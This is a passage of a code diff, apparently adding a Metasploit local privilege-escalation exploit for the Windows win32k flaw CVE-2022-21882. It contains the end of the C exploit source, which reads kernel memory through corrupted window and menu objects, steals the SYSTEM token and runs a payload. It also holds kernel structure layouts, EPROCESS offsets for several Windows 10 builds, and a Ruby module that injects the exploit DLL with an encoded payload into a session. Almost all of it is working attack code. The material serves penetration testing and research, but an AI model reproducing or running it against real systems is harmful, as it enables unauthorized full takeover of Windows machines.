%llx", pMenu); + if (pMenu) { + // Token stealing + ULONG_PTR ptr = KernelRead(pMenu + offsetof(tagMENU, spwndNotify)); // pmenu->spwndNotify (tagWND) + ptr = KernelRead(ptr + 0x10); // pwnd->pti (THREADINFO) + ptr = KernelRead(ptr + 0x1a0); // pti->ppi (PROCESSINFO) + ptr = KernelRead(ptr); // ppi.W32PROCESS.peProcess + dprintf("Current EPROCESS = %llx", ptr); + if (ptr) { + // there is a small possibility that the exploit process up until now has failed and that EProcess is zero + UpgradeToken(ptr); + ExecutePayload(pPayload); + dprintf("The payload has been executed"); + } + } + + // Fix corrupted tagWND + PVOID pExtraBytes = LocalAlloc(LMEM_ZEROINIT, g_dwRandom); + SetWindowLongPtr(g_hWnd[0], (int)(extra_to_wnd2_offset + offsetof(tagWND, pExtraBytes)), (ULONG_PTR)pExtraBytes); + SetWindowLongPtr(g_hWnd[0], (int)(extra_to_wnd2_offset + offsetof(tagWND, dwExtraFlag)), g_pWnd[2]->dwExtraFlag & ~0x800); + + style = g_pWnd[1]->dwStyle; + SetWindowLong(g_hWnd[0], (int)(extra_to_wnd1_offset + offsetof(tagWND, dwStyle)), style | WS_CHILD); + SetWindowLongPtr(g_hWnd[1], GWLP_ID, (ULONG_PTR)pMenu); // tagWND1->spmenu = pmenu + SetWindowLong(g_hWnd[0], (int)(extra_to_wnd1_offset + offsetof(tagWND, dwStyle)), style); + + DestroyWindow(g_hWnd[2]); + DestroyWindow(g_hWnd[1]); + DestroyWindow(g_hWnd[0]); + UninstallHooks(); + + LocalFree(g_pFakeMenu); + return 0; +} \ No newline at end of file diff --git a/external/source/exploits/CVE-2022-21882/exploit.h b/external/source/exploits/CVE-2022-21882/exploit.h new file mode 100755 index 0000000000..c7a894c560 --- /dev/null +++ b/external/source/exploits/CVE-2022-21882/exploit.h @@ -0,0 +1,48 @@ +#pragma once +#include +#include + +// Kernel tagWND +#pragma pack(1) +typedef struct _tagWND +{ + HWND hWnd; // + 0x00 + ULONG64 OffsetToDesktopHeap; // + 0x08 + ULONG64 state; // + 0x10 + DWORD dwExStyle; // + 0x18 + DWORD dwStyle; // + 0x1C + BYTE gap[0xa8]; + ULONG64 cbWndExtra; // + 0xC8 + BYTE gap2[0x18]; + DWORD dwExtraFlag; // + 0xE8 + BYTE gap3[0x3c]; + ULONG64 pExtraBytes; // + 0x128 +} tagWND; +typedef tagWND* ptagWND; + +#pragma pack(1) +typedef struct _tagMENU +{ + ULONG64 field_0; + ULONG64 field_8; + ULONG64 field_10; + ULONG64 field_18; + ULONG64 field_20; + ULONG64 obj28; + ULONG64 field_30; + ULONG64 field_38; + DWORD cxMenu; + DWORD cyMenu; + ULONG64 field_48; + ULONG64 spwndNotify; // + 0x50 + ULONG64 rgItems; // + 0x58 + ULONG64 field_60; + ULONG64 field_68; + ULONG64 field_70; + ULONG64 field_78; + ULONG64 field_80; + ULONG64 field_88; + ULONG64 field_90; + PVOID *ref; // + 0x98 +} tagMENU; +typedef tagMENU* ptagMENU; \ No newline at end of file diff --git a/external/source/include/windows/common.h b/external/source/include/windows/common.h index 8938b57b44..6977aed9b6 100755 --- a/external/source/include/windows/common.h +++ b/external/source/include/windows/common.h @@ -59,8 +59,14 @@ const static EPROCESS_OFFSETS EprocessOffsetsWin10v1903 = { 0x2f0, 0x360, 0x2e8 const static EPROCESS_OFFSETS EprocessOffsetsWin10v1909 = { 0x2f0, 0x360, 0x2e8 }; /* Windows 10 v2004 / 20H1 (10.0.19041) - https://www.vergiliusproject.com/kernels/x64/Windows%2010%20%7C%202016/2004%2020H1%20(May%202020%20Update)/_EPROCESS */ const static EPROCESS_OFFSETS EprocessOffsetsWin10v2004 = { 0x448, 0x4b8, 0x440 }; -/* Windows 10 v2009 / 20H2 (10.0.19041) - https://www.vergiliusproject.com/kernels/x64/Windows%2010%20%7C%202016/2009%2020H2%20(October%202020%20Update)/_EPROCESS */ +#define EprocessOffsetsWin10v20H1 EprocessOffsetsWin10v2004 +/* Windows 10 v2009 / 20H2 (10.0.19042) - https://www.vergiliusproject.com/kernels/x64/Windows%2010%20%7C%202016/2009%2020H2%20(October%202020%20Update)/_EPROCESS */ const static EPROCESS_OFFSETS EprocessOffsetsWin10v2009 = { 0x448, 0x4b8, 0x440 }; +#define EprocessOffsetsWin10v20H2 EprocessOffsetsWin10v2009 +/* Windows 10 v21H1 (10.0.19043) */ +const static EPROCESS_OFFSETS EprocessOffsetsWin10v21H1 = { 0x448, 0x4b8, 0x440 }; +/* Windows 10 v21H2 (10.0.19044) */ +const static EPROCESS_OFFSETS EprocessOffsetsWin10v21H2 = { 0x448, 0x4b8, 0x440 }; #endif /* diff --git a/external/source/include/windows/definitions.h b/external/source/include/windows/definitions.h index 45d08e8fec..d5b0aa613b 100755 --- a/external/source/include/windows/definitions.h +++ b/external/source/include/windows/definitions.h @@ -130,6 +130,22 @@ typedef NTSTATUS(__stdcall* fNtUserConsoleControl)( ULONG ConsoleCtrlInfoLength ); +typedef NTSTATUS(__stdcall* fNtUserMessageCall)( + HWND hWnd, + UINT msg, + WPARAM wParam, + LPARAM lParam, + ULONG_PTR ResultInfo, + DWORD dwType, + BOOL bAscii + ); + +typedef PVOID(__stdcall* fRtlAllocateHeap)( + PVOID HeapHandle, + ULONG Flags, + SIZE_T Size + ); + typedef VOID(__stdcall* fRtlGetNtVersionNumbers)( DWORD* MajorVersion, DWORD* MinorVersion, diff --git a/modules/exploits/windows/local/cve_2022_21882_win32k.rb b/modules/exploits/windows/local/cve_2022_21882_win32k.rb new file mode 100644 index 0000000000..9943fe5aac --- /dev/null +++ b/modules/exploits/windows/local/cve_2022_21882_win32k.rb @@ -0,0 +1,102 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Local + Rank = AverageRanking + + include Msf::Post::File + include Msf::Post::Windows::Priv + include Msf::Post::Windows::Process + include Msf::Post::Windows::ReflectiveDLLInjection + prepend Msf::Exploit::Remote::AutoCheck + + def initialize(info = {}) + super( + update_info( + info, + { + 'Name' => '', + 'Description' => %q{ + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'L4ys', # github poc + 'KaLendsi', # github poc + 'Spencer McIntyre' # metasploit module + ], + 'Arch' => [ ARCH_X64 ], + 'Platform' => 'win', + 'SessionTypes' => [ 'meterpreter' ], + 'DefaultOptions' => { + 'EXITFUNC' => 'thread' + }, + 'Targets' => [ + [ 'Windows 10 v20H2-21H2 x64', { 'Arch' => ARCH_X64 } ] + ], + 'Payload' => { + 'DisableNops' => true + }, + 'References' => [ + [ 'CVE', '2022-21882' ], + [ 'URL', 'https://github.com/L4ys/CVE-2022-21882' ], + [ 'URL', 'https://github.com/KaLendsi/CVE-2022-21882' ] + ], + 'DisclosureDate' => '', + 'DefaultTarget' => 0, + 'Notes' => { + 'Stability' => [ CRASH_OS_RESTARTS, ], + 'Reliability' => [ REPEATABLE_SESSION, ], + 'SideEffects' => [], + 'RelatedModules' => [ + # this module exploits the original vulnerability for which this is a patch bypass + 'exploit/windows/local/cve_2021_1732_win32k' + ] + } + } + ) + ) + end + + def check + sysinfo_value = sysinfo['OS'] + + if sysinfo_value !~ /windows/i + # Non-Windows systems are definitely not affected. + return Exploit::CheckCode::Safe + end + + build_num = sysinfo_value.match(/\w+\d+\w+(\d+)/)[0].to_i + vprint_status("Windows Build Number = #{build_num}") + + unless sysinfo_value =~ /10/ && (build_num >= 17043 && build_num <= 19044) + print_error('The exploit only supports Windows 10 versions 1803 - 21H2') + return CheckCode::Safe + end + + CheckCode::Appears + end + + def exploit + if is_system? + fail_with(Failure::None, 'Session is already elevated') + end + + if sysinfo['Architecture'] == ARCH_X64 && session.arch == ARCH_X86 + fail_with(Failure::NoTarget, 'Running against WOW64 is not supported') + elsif sysinfo['Architecture'] == ARCH_X64 && target.arch.first == ARCH_X86 + fail_with(Failure::NoTarget, 'Session host is x64, but the target is specified as x86') + elsif sysinfo['Architecture'] == ARCH_X86 && target.arch.first == ARCH_X64 + fail_with(Failure::NoTarget, 'Session host is x86, but the target is specified as x64') + end + + encoded_payload = payload.encoded + execute_dll( + ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2022-21882', 'CVE-2022-21882.x64.dll'), + [encoded_payload.length].pack('I<') + encoded_payload + ) + + print_good('Exploit finished, wait for (hopefully privileged) payload execution to complete.') + end +end